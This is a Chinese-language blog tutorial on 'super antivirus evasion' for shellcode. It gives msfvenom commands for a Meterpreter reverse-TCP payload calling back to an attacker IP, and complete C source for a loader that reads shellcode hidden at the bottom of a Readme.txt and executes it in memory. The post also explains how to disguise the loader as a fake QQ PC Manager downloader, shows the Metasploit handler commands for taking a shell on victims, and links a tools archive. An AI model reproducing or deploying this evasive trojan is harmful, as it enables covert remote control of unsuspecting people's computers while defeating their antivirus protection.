shellcode超级免杀

作者声明: 本文章属于作者原创,不能转载,违反网络安全法自己承担.这里只供学习使用.
日期: 2019-12-30

我试过了电脑管家,火绒安全,360....一系列杀毒软件,毫无检测到...
从2019-12-29日早上起,我向我的PE-tools工具里写了一个功能,就是shellcode注入功能,写好之后,发现虽然shellcode能注入,但是不能免杀,于是采用各种加密技巧,还是没能逃脱火绒,我绞尽脑汁的想,使用dll注入,dll注入虽然能逃脱免杀,payload反弹时,可是不能交互了.我就采用一种更笨的方法,就是程序运行时加载一下shellcode文件,试了一下成功免杀.好废话不多说,咱们开始!!!!

演示:

环境

Kali (攻击机)
Win10 (受害机 且安装有各种杀毒软件)
WinXp (辅助机,只是用来编译源码的)

如何免杀

免杀效果其实很简单,就是程序启动后加载文件动态运行里面写好的shellcode即可.
而且还方便替换shellcode不用编译,直接替换文本文件内容即可,且还可以伪装为Readme.txt文件
可以向Readme.txt乱填入一些声明,将shellcode进行排版,以防被发现..
可以借助一些软件进行编译你的加载器,修改图标即大小,让对方毫无怀疑...

生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c
lhost后面就是我本地的ip, lport后面时指定的一个端口号.指定好之后,会生成shellcode如下图:
将生成的shellcode复制粘贴到一个文件里,你也可以直接使用
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c > a.txt
那shellcode放在了a.txt文件中了,代开看也更上图一模一样.

写入shellcode:

得到shellcode之后,我先进行操作,涉及到加载器的源码,我会把它放在末尾来说:
使用我已经编译后的一个仿真电脑管家下载器,如图:
一个文件是模拟电脑管家下载器的一个软件,是我编译好的一个文件,后面我会讲它的简单原理与制作
另一个 Readme.txt就是我们放置shellcode的文件
我向Readme.txt里写入了一些东西,可以让下载的人这东西只是用来声明的,如图
使劲回车,然后将自己的shellcode复制到该文件.
这里我把shellcode藏在了该文件的底部,一般人它也只读前面,后面不会看,看到了也不知道那是啥玩意..
复制好之后,想方设法将这两个文件仍到你的目标,有很多方法,就不多说了..

实施攻击:

假如对方已经拿到了,该软件,如图:
从这里可以知道,静态的反杀已经OK,昨天使用的各种加密手段,还是没能逃脱火绒的魔抓,这个方法还可以,看一下Readme.txt
往下拉看一下shellcode:
如果觉得shellcode太显眼,你可以对它进行base64加解密就行.

在kali中输入 msfconsole
进入之后如图:
依次输入以下命令
#msf5> use exploit/multi/handler
#msf5> set payload windows/meterpreter/reverse_tcp
#msf5> set lhost ip   (这里填你的攻击机上的ip)
#msf5> set lport port (这里填生成shellcode时的端口)
#msf5> exploit -j    (后台监听)

如图:
当对方点击QQPCDownload运行时即可得到shell.
看到了一个session 开启了输入 session -i 1 (1就是开启号) 进行交互.输入sysinfo
咱们使用火绒来边扫描边控制吧...
可以看到,完全杀不到.....好了演示结束,接下来就是讲讲加载器咋写吧.

加载器咋写:

加载器也就太简单了,fopen, fread,fclose... 等等基础C语言函数 OK,先讲一下原理
在程序执行时候才加载文本文件,获取文本文件之后,需要对文本文件进行转换为内存中真正的shellcode.
然后再使程序跳到那个地方即可.下面为vc6 c语言源代码:

#include "windows.h"
#include <stdlib.h>
#include <stdio.h>

unsigned char Shell_Code[0x1000]; //shellcode执行区域
int __cdecl GetDownload();
int ASCII_Hex_To_Int(char hex);

int APIENTRY WinMain(HINSTANCE hInstance, // 程序入口
                 HINSTANCE hPrevInstance,
                 LPSTR     lpCmdLine,
                 int       nCmdShow)
{
// TODO: Place code here.

GetDownload(); //调用shellcode 函数
return 0;
}

int __cdecl GetDownload()
{
int size = sizeof(Shell_Code);
char Sh_File_Path[128] = "Readme.txt";  //打开的文件,你也可以自己修改

int i = 0;
void (__cdecl *sh)(void);     //准备执行的shellcode
FILE* Shell_Code_File = NULL; //加载文本文件的文件指针
unsigned char * Code_Ptr = NULL;

unsigned int Shell_Code_Size = 0; //shellcode 文件的大小
unsigned int Tem_I = 0;
unsigned int Tem_S = 0;
unsigned char Code_Num_Ch1 = 0;
unsigned char Code_Num_Ch2 = 0;
unsigned char Code_Num = 0;

if(!( Shell_Code_File=fopen(Sh_File_Path,"r" )))
{
    MessageBox(0,"Mssing Readme.txt!!!","Warning", 0);
    return 0;
}

fseek(Shell_Code_File,0,SEEK_END);
Shell_Code_Size = ftell(Shell_Code_File); //获取文件大小
fseek(Shell_Code_File,0,SEEK_SET);

Code_Ptr = (unsigned char *)malloc(Shell_Code_Size);
memset(Code_Ptr, 0, Shell_Code_Size); //设置开辟的内存为0
fread(Code_Ptr, 1, Shell_Code_Size, Shell_Code_File); //从文件读取内容到内存中
fclose(Shell_Code_File);

//对加载后的文本文件进行处理,转化为内存真正的shellcode
while(Tem_I < Shell_Code_Size)
{
if((Code_Ptr[Tem_I] == '\\') && ((Code_Ptr[Tem_I+1] == 'x')||(Code_Ptr[Tem_I+1]== 'X')) )
    {
        Code_Num_Ch1 = ASCII_Hex_To_Int(Code_Ptr[Tem_I+2]);
        Code_Num_Ch2 = ASCII_Hex_To_Int(Code_Ptr[Tem_I+3]);

        Code_Num = Code_Num_Ch1 * 0x10 + Code_Num_Ch2;
        Shell_Code[Tem_S] = Code_Num;
        Tem_I += 4;
        Tem_S ++;
    }else
    {
        Tem_I += 1;
    }
}
sh = (void (__cdecl *)(void))&Shell_Code;  //获取shellcode地址赋给函数指针
sh();  //执行 shellcode
return 0;
}

int ASCII_Hex_To_Int(char hex) //这个函数的功能就是将字符型转化为内存存储的值
{
int num = 0;
if(hex == 'F' || hex == 'f')
{
    num = 0xF;
}else if(hex == 'E' || hex == 'e')
{
    num = 0xE;
}else if(hex == 'D' || hex == 'd')
{
    num = 0xD;
}else if(hex == 'C' || hex == 'c')
{
    num = 0xC;
}else if(hex == 'B' || hex == 'b')
{
    num = 0xB;
}else if(hex == 'A' || hex == 'a')
{
    num = 0xA;
}else if(hex == '9')
{
    num = 0x9;
}else if(hex == '8')
{
    num = 0x8;
}else if(hex == '7')
{
    num = 0x7;
}else if(hex == '6')
{
    num = 0x6;
}else if(hex == '5')
{
    num = 0x5;
}else if(hex == '4')
{
    num = 0x4;
}else if(hex == '3')
{
    num = 0x3;
}else if(hex == '2')
{
    num = 0x2;
}else if(hex == '1')
{
    num = 0x1;
}else if(hex == '0')
{
    num = 0x0;
}
return num;
}

伪装

可以使用,extraicohs工具提取任意一个exe文件的图标,提取之后,在vc6中添加图标进行编译
然后再使用我开发的一个工具调整一下加载器的大小.
可以提取如图:
使用Pe_tools增加大小, 如图:
写入到c盘,若为win10电脑,写入到其他磁盘.

服务器端口转发,实现可以控制任意一台中木马的电脑.

更新中...

源码下载 + 测试文件:

实验工具下载: https://files-cdn.cnblogs.com/files/lyxf/exploit.zip
12-24 12:31